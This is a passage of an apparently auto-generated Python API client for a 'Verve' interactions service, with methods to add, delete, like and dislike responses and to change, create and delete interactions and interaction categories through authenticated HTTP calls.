:param str body3: Filter fields in result list /* **A) Default values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionType **A) Available values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionId 5)respondingUser 6)isMarkedResponse 7)noOfLikes 8)noOfDislikes 9)replyCount 10)isLiked 11)isDisliked 12)interactionType */
:param list[Attachment] body4:
:return: VerveResponseInteractionResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['body', 'body2', 'logged_in_user_id', 'access_token', 'client_token', 'body3', 'body4']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method add_response_0" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'body' is set
if ('body' not in params) or (params['body'] is None):
raise ValueError("Missing the required parameter `body` when calling `add_response_0`")
# verify the required parameter 'body2' is set
if ('body2' not in params) or (params['body2'] is None):
raise ValueError("Missing the required parameter `body2` when calling `add_response_0`")
# verify the required parameter 'logged_in_user_id' is set
if ('logged_in_user_id' not in params) or (params['logged_in_user_id'] is None):
raise ValueError("Missing the required parameter `logged_in_user_id` when calling `add_response_0`")
# verify the required parameter 'access_token' is set
if ('access_token' not in params) or (params['access_token'] is None):
raise ValueError("Missing the required parameter `access_token` when calling `add_response_0`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `add_response_0`")
resource_path = '/interactions/{interactionId}/responses/attachment'.replace('{format}', 'json')
path_params = {}
query_params = {}
header_params = {}
if 'logged_in_user_id' in params:
header_params['loggedInUserId'] = params['logged_in_user_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
body_params = None
if 'body4' in params:
body_params = params['body4']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['multipart/form-data'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionResponse',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def change_interaction_category(self, interaction_id, category_id, requester_id, client_token, **kwargs):
"""
Change interaction category
Allows the user to change the interaction category.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.change_interaction_category(interaction_id, category_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param int category_id: New interaction categoryId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.change_interaction_category_with_http_info(interaction_id, category_id, requester_id, client_token, **kwargs)
else:
(data) = self.change_interaction_category_with_http_info(interaction_id, category_id, requester_id, client_token, **kwargs)
return data
def change_interaction_category_with_http_info(self, interaction_id, category_id, requester_id, client_token, **kwargs):
"""
Change interaction category
Allows the user to change the interaction category.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.change_interaction_category_with_http_info(interaction_id, category_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param int category_id: New interaction categoryId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_id', 'category_id', 'requester_id', 'client_token', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method change_interaction_category" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_id' is set
if ('interaction_id' not in params) or (params['interaction_id'] is None):
raise ValueError("Missing the required parameter `interaction_id` when calling `change_interaction_category`")
# verify the required parameter 'category_id' is set
if ('category_id' not in params) or (params['category_id'] is None):
raise ValueError("Missing the required parameter `category_id` when calling `change_interaction_category`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `change_interaction_category`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `change_interaction_category`")
resource_path = '/interactions/{interactionId}/{categoryId}'.replace('{format}', 'json')
path_params = {}
if 'interaction_id' in params:
path_params['interactionId'] = params['interaction_id']
if 'category_id' in params:
path_params['categoryId'] = params['category_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'fields' in params:
form_params.append(('fields', params['fields']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteraction',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def change_interaction_type(self, interaction_id, interaction_type, requester_id, client_token, **kwargs):
"""
Change interaction type
Allows the user to change the interaction type. Boolean value
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.change_interaction_type(interaction_id, interaction_type, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param str interaction_type: New interaction type (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.change_interaction_type_with_http_info(interaction_id, interaction_type, requester_id, client_token, **kwargs)
else:
(data) = self.change_interaction_type_with_http_info(interaction_id, interaction_type, requester_id, client_token, **kwargs)
return data
def change_interaction_type_with_http_info(self, interaction_id, interaction_type, requester_id, client_token, **kwargs):
"""
Change interaction type
Allows the user to change the interaction type. Boolean value
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.change_interaction_type_with_http_info(interaction_id, interaction_type, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param str interaction_type: New interaction type (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_id', 'interaction_type', 'requester_id', 'client_token', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method change_interaction_type" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_id' is set
if ('interaction_id' not in params) or (params['interaction_id'] is None):
raise ValueError("Missing the required parameter `interaction_id` when calling `change_interaction_type`")
# verify the required parameter 'interaction_type' is set
if ('interaction_type' not in params) or (params['interaction_type'] is None):
raise ValueError("Missing the required parameter `interaction_type` when calling `change_interaction_type`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `change_interaction_type`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `change_interaction_type`")
resource_path = '/interactions/{interactionId}/type'.replace('{format}', 'json')
path_params = {}
if 'interaction_id' in params:
path_params['interactionId'] = params['interaction_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'interaction_type' in params:
form_params.append(('interactionType', params['interaction_type']))
if 'fields' in params:
form_params.append(('fields', params['fields']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteraction',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def create_interaction_category(self, requester_id, client_token, **kwargs):
"""
Create interaction category
This service allows a user to create a category. The following fields(key:value) are required to be present in the Category JSON object. Refer to the Model & Model Schema of the expected JSON Object for the body of this API. **Required fields** 1. associationId 2. categoryName 3. interactionType
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.create_interaction_category(requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param InteractionCategory body:
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionCategory
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.create_interaction_category_with_http_info(requester_id, client_token, **kwargs)
else:
(data) = self.create_interaction_category_with_http_info(requester_id, client_token, **kwargs)
return data
def create_interaction_category_with_http_info(self, requester_id, client_token, **kwargs):
"""
Create interaction category
This service allows a user to create a category. The following fields(key:value) are required to be present in the Category JSON object. Refer to the Model & Model Schema of the expected JSON Object for the body of this API. **Required fields** 1. associationId 2. categoryName 3. interactionType
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.create_interaction_category_with_http_info(requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param InteractionCategory body:
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionCategory
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['requester_id', 'client_token', 'body', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_interaction_category" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `create_interaction_category`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `create_interaction_category`")
resource_path = '/interactions/categories'.replace('{format}', 'json')
path_params = {}
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded', 'application/json'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionCategory',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def delete_interaction(self, interaction_id, requester_id, client_token, **kwargs):
"""
Delete interaction
Allows the user to delete a interaction. Returns the deleted response
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.delete_interaction(interaction_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.delete_interaction_with_http_info(interaction_id, requester_id, client_token, **kwargs)
else:
(data) = self.delete_interaction_with_http_info(interaction_id, requester_id, client_token, **kwargs)
return data
def delete_interaction_with_http_info(self, interaction_id, requester_id, client_token, **kwargs):
"""
Delete interaction
Allows the user to delete a interaction. Returns the deleted response
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.delete_interaction_with_http_info(interaction_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_id', 'requester_id', 'client_token', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_interaction" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_id' is set
if ('interaction_id' not in params) or (params['interaction_id'] is None):
raise ValueError("Missing the required parameter `interaction_id` when calling `delete_interaction`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `delete_interaction`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `delete_interaction`")
resource_path = '/interactions/{interactionId}'.replace('{format}', 'json')
path_params = {}
if 'interaction_id' in params:
path_params['interactionId'] = params['interaction_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'fields' in params:
form_params.append(('fields', params['fields']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteraction',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def delete_interaction_category(self, category_id, requester_id, client_token, **kwargs):
"""
Delete interaction category
Allows the user to delete the interaction category. Returns the deleted interaction category
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.delete_interaction_category(category_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int category_id: categoryId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)categoryId 2)categoryName 3)interactionType **A) Available values -** 1)categoryId 2)categoryName 3)categoryDescription 4)createdDate 5)isSubscribed 6)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionCategory
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.delete_interaction_category_with_http_info(category_id, requester_id, client_token, **kwargs)
else:
(data) = self.delete_interaction_category_with_http_info(category_id, requester_id, client_token, **kwargs)
return data
def delete_interaction_category_with_http_info(self, category_id, requester_id, client_token, **kwargs):
"""
Delete interaction category
Allows the user to delete the interaction category. Returns the deleted interaction category
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.delete_interaction_category_with_http_info(category_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int category_id: categoryId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)categoryId 2)categoryName 3)interactionType **A) Available values -** 1)categoryId 2)categoryName 3)categoryDescription 4)createdDate 5)isSubscribed 6)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionCategory
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['category_id', 'requester_id', 'client_token', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_interaction_category" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'category_id' is set
if ('category_id' not in params) or (params['category_id'] is None):
raise ValueError("Missing the required parameter `category_id` when calling `delete_interaction_category`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `delete_interaction_category`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `delete_interaction_category`")
resource_path = '/interactions/categories/{categoryId}'.replace('{format}', 'json')
path_params = {}
if 'category_id' in params:
path_params['categoryId'] = params['category_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'fields' in params:
form_params.append(('fields', params['fields']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionCategory',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def delete_response(self, response_id, requester_id, client_token, **kwargs):
"""
Delete response
Allows the user to delete an response. Returns the deleted response
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.delete_response(response_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int response_id: responseId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionType **A) Available values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionId 5)respondingUser 6)isMarkedResponse 7)noOfLikes 8)noOfDislikes 9)replyCount 10)isLiked 11)isDisliked 12)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.delete_response_with_http_info(response_id, requester_id, client_token, **kwargs)
else:
(data) = self.delete_response_with_http_info(response_id, requester_id, client_token, **kwargs)
return data
def delete_response_with_http_info(self, response_id, requester_id, client_token, **kwargs):
"""
Delete response
Allows the user to delete an response. Returns the deleted response
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.delete_response_with_http_info(response_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int response_id: responseId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionType **A) Available values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionId 5)respondingUser 6)isMarkedResponse 7)noOfLikes 8)noOfDislikes 9)replyCount 10)isLiked 11)isDisliked 12)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['response_id', 'requester_id', 'client_token', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_response" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'response_id' is set
if ('response_id' not in params) or (params['response_id'] is None):
raise ValueError("Missing the required parameter `response_id` when calling `delete_response`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `delete_response`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `delete_response`")
resource_path = '/interactions/responses/{responseId}'.replace('{format}', 'json')
path_params = {}
if 'response_id' in params:
path_params['responseId'] = params['response_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'fields' in params:
form_params.append(('fields', params['fields']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionResponse',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def dislike_response(self, interaction_id, response_id, requester_id, client_token, **kwargs):
"""
Dislike response
Allows the user to dislike the response.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.dislike_response(interaction_id, response_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param int response_id: responseId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionType **A) Available values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionId 5)respondingUser 6)isMarkedResponse 7)noOfLikes 8)noOfDislikes 9)replyCount 10)isLiked 11)isDisliked 12)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.dislike_response_with_http_info(interaction_id, response_id, requester_id, client_token, **kwargs)
else:
(data) = self.dislike_response_with_http_info(interaction_id, response_id, requester_id, client_token, **kwargs)
return data
def dislike_response_with_http_info(self, interaction_id, response_id, requester_id, client_token, **kwargs):
"""
Dislike response
Allows the user to dislike the response.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.dislike_response_with_http_info(interaction_id, response_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param int response_id: responseId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionType **A) Available values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionId 5)respondingUser 6)isMarkedResponse 7)noOfLikes 8)noOfDislikes 9)replyCount 10)isLiked 11)isDisliked 12)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_id', 'response_id', 'requester_id', 'client_token', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method dislike_response" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_id' is set
if ('interaction_id' not in params) or (params['interaction_id'] is None):
raise ValueError("Missing the required parameter `interaction_id` when calling `dislike_response`")
